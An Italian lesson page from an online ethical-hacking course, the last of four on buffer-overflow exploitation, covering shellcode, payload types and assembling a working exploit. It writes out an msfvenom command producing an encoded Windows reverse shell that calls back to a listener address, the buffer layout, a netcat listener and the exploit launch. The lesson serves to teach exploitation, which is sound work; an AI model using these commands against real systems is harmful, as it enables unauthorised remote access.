0Pricing
Ethical Hacking Academy · Lezione

Shellcode ed exploit

Ottenere una shell

Shellcode ed exploit è una lezione Ethical Hacking Academy gratuita su CoddyKit. Questa è la lezione 4 di 4. Puoi leggere la lezione completa qui gratuitamente — poi esercitati direttamente nel browser con un editor di codice integrato e un tutor IA disponibile 24/7. Fa parte del percorso di apprendimento Ethical Hacking Academy, e i tuoi progressi si sincronizzano tra il web e l'app CoddyKit. Il corso Ethical Hacking Academy include 4 lezioni in totale.

Che cos'è lo shellcode?

Lo shellcode è una piccola porzione di codice macchina che esegue un'azione quando viene eseguita, classicamente avviando una shell. È il payload verso cui si reindirizza l'esecuzione dopo aver preso il controllo di EIP.

È scritto come byte grezzi (opcode), così da poter essere iniettato direttamente in memoria.

Tipi di payload

Tra gli obiettivi comuni dei payload figurano:

  • Bind shell: apre una porta in ascolto sulla vittima.
  • Reverse shell: si connette nuovamente all'attaccante (funziona meglio attraverso firewall/NAT).
  • Eseguire un comando: esegue un singolo comando, ad esempio per aggiungere un utente.

Le reverse shell sono le più comuni negli incarichi reali.

Generare payload con msfvenom

msfvenom genera payload. È necessario specificare il tipo di payload, l'indirizzo e la porta del listener, il formato di output e gli eventuali caratteri non validi da evitare.

Il flag -b esclude i caratteri non validi; -f imposta il formato di output.

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -b "\x00\x0a\x0d" -f c

Perché è necessaria la codifica

Lo shellcode grezzo contiene spesso caratteri non validi (come i byte nulli). Un encoder trasforma il payload per evitare questi byte, quindi antepone uno stub di decodifica che ripristina il codice originale durante l'esecuzione.

L'encoder classico è x86/shikata_ga_nai.

msfvenom ... -e x86/shikata_ga_nai -b "\x00"

Il decoder e l'automodifica

Lo shellcode codificato si decodifica da solo in memoria prima di essere eseguito. Questa automodifica richiede un po' di spazio aggiuntivo sullo stack, motivo per cui uno NOP sled e uno spazio adeguato nel buffer sono utili.

A volte è necessario modificare prima ESP, affinché il decoder non corrompa il proprio codice.

Assemblare l'exploit finale

Il buffer completo dell'exploit è composto da:

  • Padding fino all'offset.
  • L'indirizzo di ritorno JMP ESP.
  • Uno NOP sled.
  • Lo shellcode codificato.

Invii questo contenuto all'input vulnerabile e l'esecuzione passerà al payload.

buf = "A"*offset + ret + "\x90"*16 + shellcode

Configurazione del listener

Per una shell inversa, deve mettersi in ascolto sulla propria macchina prima di attivare l'exploit. Un semplice listener Netcat intercetta la connessione in arrivo.

Per i payload staged, usi invece multi/handler di Metasploit.

nc -lvnp 4444

Attivazione dell'exploit

Con il listener pronto, invii il buffer preparato al bersaglio. Se tutto è allineato, lo shellcode viene eseguito e il listener riceve una shell sulla macchina vittima.

A questo punto dispone dell'esecuzione di comandi con i privilegi del processo vulnerabile.

python exploit.py 10.0.0.20 9999

Risoluzione dei problemi

Se non funziona, verifichi le cause più comuni:

  • Un carattere errato è finito nello shellcode o nell'indirizzo di ritorno.
  • Il NOP sled è troppo corto.
  • Il decoder non aveva spazio sufficiente nello stack (regoli ESP).
  • Offset o ordine dei byte errati.

Un debugging metodico nel debugger consente di isolare il problema.

Oltre il buffer overflow classico

Con DEP e ASLR abilitati, lo shellcode semplice posizionato nello stack non viene eseguito. Gli exploit moderni usano il Return-Oriented Programming (ROP) per concatenare gadget di codice già esistenti e information leak per aggirare ASLR.

Questo corso ha fornito le basi su cui si fondano queste tecniche avanzate.

Staged e stageless

I payload sono disponibili in due varianti. Un payload stageless contiene tutto lo shellcode in un unico blocco. Un payload staged invia un piccolo stub che scarica il resto dal proprio handler.

I payload staged entrano in buffer più piccoli, ma richiedono un handler compatibile come multi/handler di Metasploit per fornire il secondo stage.

Verifica rapida

Ricordi perché lo shellcode viene spesso codificato.

Riepilogo

Ha completato la catena di exploitation:

  • Lo shellcode è il payload; le shell inverse sono le più pratiche.
  • Lo generi e lo codifichi con msfvenom per evitare i caratteri errati.
  • Assembli padding + JMP ESP + NOP sled + shellcode, avvii un listener e attivi l'exploit.
  • I bersagli moderni richiedono ROP e information leak per aggirare DEP/ASLR.

Ha completato il corso Buffer Overflow Exploitation.

Domande Frequenti

La lezione «Shellcode ed exploit» è gratuita?

Sì — il testo completo di «Shellcode ed exploit» è gratuito qui sul web. Per esercitarvi in modo interattivo (un editor di codice integrato e un tutor IA 24/7) e sbloccare il resto del corso Ethical Hacking Academy, passa a CoddyKit PRO. Il corso Ethical Hacking Academy include 4 lezioni in totale.

Cosa imparerò in «Shellcode ed exploit»?

Ottenere una shell Eserciti Ethical Hacking Academy con codice pratico che esegui direttamente nel browser, e un tutor IA 24/7 risponde alle tue domande mentre lavori sulla lezione.

Ho bisogno di esperienza per iniziare Ethical Hacking Academy?

Non è richiesta alcuna esperienza precedente. Ethical Hacking Academy su CoddyKit è strutturato per principianti e studenti avanzati, quindi puoi iniziare da qui o dall'inizio e procedere al tuo ritmo. Questa è la lezione 4 di 4.

Quanto tempo richiede la lezione «Shellcode ed exploit»?

La maggior parte delle lezioni CoddyKit richiede circa 5–10 minuti. Ogni lezione è breve e interattiva, quindi fai progressi costanti e riprendi esattamente da dove hai lasciato su web e app.

Posso scrivere ed eseguire codice in questa lezione Ethical Hacking Academy?

Sì. Ogni lezione Ethical Hacking Academy include un editor di codice integrato, quindi scrivi ed esegui codice reale direttamente nel tuo browser e ricevi feedback istantaneo dall'IA — nessuna configurazione locale necessaria.

Tutte le lezioni di questo corso

  1. Memoria e stack
  2. Fuzzing per trovare i crash
  3. Controllo di EIP
  4. Shellcode ed exploit
← Torna a Ethical Hacking Academy